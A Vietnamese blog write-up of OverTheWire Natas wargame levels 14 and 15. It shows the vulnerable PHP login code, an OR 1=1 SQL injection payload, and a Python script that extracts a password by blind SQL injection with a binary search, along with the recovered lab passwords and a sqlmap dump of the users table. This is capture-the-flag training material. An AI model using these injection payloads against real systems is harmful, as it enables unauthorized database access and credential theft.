[Writeup] [OverTheWire] [Natas] Level 14, Level 15

Standard

Lời nói đầu

  • [Writeup] [OverTheWire] [Natas] Level 12, Level 13
  • Độ khó của bạn Natas này là basic (giống như bạn ấy tự giới thiệu). Nhưng với mình thì chẳng hề… khó chút nào emo_popo_beat_brick j/k
  • Mình hiện đang song song hoạt động ở blog này và http://forum.botbie.com/forum.php (mới mở). Sau này nếu bên đó ổn định thì cũng khó nói, nên tốt nhất các bạn cứ follow cả hai trang :”>

Level 14

18-08-2013 16-39-37

Xem source:

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

Ta thấy ngay được là username và password đều không bị escape. Inject với câu lệnh được dạy trong sách giáo khoa:

username = " OR 1=1#
password = <gì cũng được>

Kết quả:

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Tất nhiên đây chỉ là task để cảnh báo rằng đã đến phần của SQLi, và chúng ta nên chuẩn bị sẵn tâm lý cho những level phức tạp hơn về sau, thay vì hạnh phúc với thành quá vừa thu được.

Level 15

18-08-2013 16-46-10

Xem source:

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

Có một điều khác biệt so với task trước, đó là không hề có câu lệnh in ra password cho level tiếp theo. Vậy phải làm sao?

Có một ý tưởng (dự đoán), đó là liệu trong database có username và password cho level 16?

Thử nhập username = natas16:

This user exists.

Ok, vậy gần như chắc chắn password của user này sẽ là thứ ta cần tìm.

Có nhiều cách để dò pw, mà thường cách phổ thông nhất là so sánh từng ký tự của pw (MYSQL cung cấp cho ta hàm ascii()substring() để làm việc này) với các ký tự hợp lệ (trong trường hợp này là a..z, A..Z, 0..9), tức mất tối đa 26 + 26 + 10 = 62 lần thử để tìm ra một ký tự. Độ dài pw là 32, nên số phép thử là khá lớn.

Nếu đi theo tư tưởng của Binary Search, ta chỉ mất khoảng 7 (hay 8 gì đó =.=) lần thử cho 1 ký tự.

Code minh họa như sau (bạn có thể không cần hiểu, vì mình đọc lại cũng không hiểu lắm emo_popo_pudency, nhưng tư tưởng của Binary Search thì thống nhất trên Google rồi, ai cũng có thể tự cài đặt theo ý thích):

import urllib, urllib2
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, "http://natas15.natas.labs.overthewire.org/index.php", 'natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPBasicAuthHandler(passman)))

flag = ''
i = 0
while (True):
	found = False
	i += 1

	min_ord = 0x30 # '0'
	max_ord = 0x7A # 'z'
	while (True):
		if (min_ord == max_ord):
			last_compare = True
			current_ord = min_ord
		else:
			last_compare = False
			current_ord = (min_ord + max_ord) / 2

		if not last_compare:
			data = [('username', 'natas16" AND ascii(substring(password,{0},1)) > {1}#'.format(i, current_ord))]
		else:
			data = [('username', 'natas16" AND ascii(substring(password,{0},1)) = {1}#'.format(i, current_ord))]
		data = urllib.urlencode(data)

		req = urllib2.Request('http://natas15.natas.labs.overthewire.org/index.php', data)
		source = urllib2.urlopen(req).read()

		if ('exists' in source):
			if last_compare:
				found = True
				flag += chr(current_ord)
				print flag
			min_ord = current_ord + 1
		else:
			max_ord = current_ord

		if last_compare:
			break

	if (not found):
		break

Kết quả:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

P.S: Bài này là SQLi cơ bản, nên ta có thể dùng sqlmap để tiết kiệm công sức (nhưng cũng đồng thời giảm lượng kiến thức thu được nếu ta chưa thể tự code). Nội dung toàn bộ bảng users như sau:

Database: natas15
Table: users
[4 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| bob      | 6P151OntQe                       |
| charlie  | HLwuGKts2w                       |
| alice    | hROtsfM734                       |
| natas16  | WaIHEacj63wnNIBROHeqi3p9t0m5nhmh |
+----------+----------------------------------+

2 thoughts on “[Writeup] [OverTheWire] [Natas] Level 14, Level 15

  1. Pingback: [Writeup] [OverTheWire] [Natas] Level 16 | yeuchimse

  2. Pingback: [Writeup] [OverTheWire] [Natas] Level 17 | yeuchimse

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s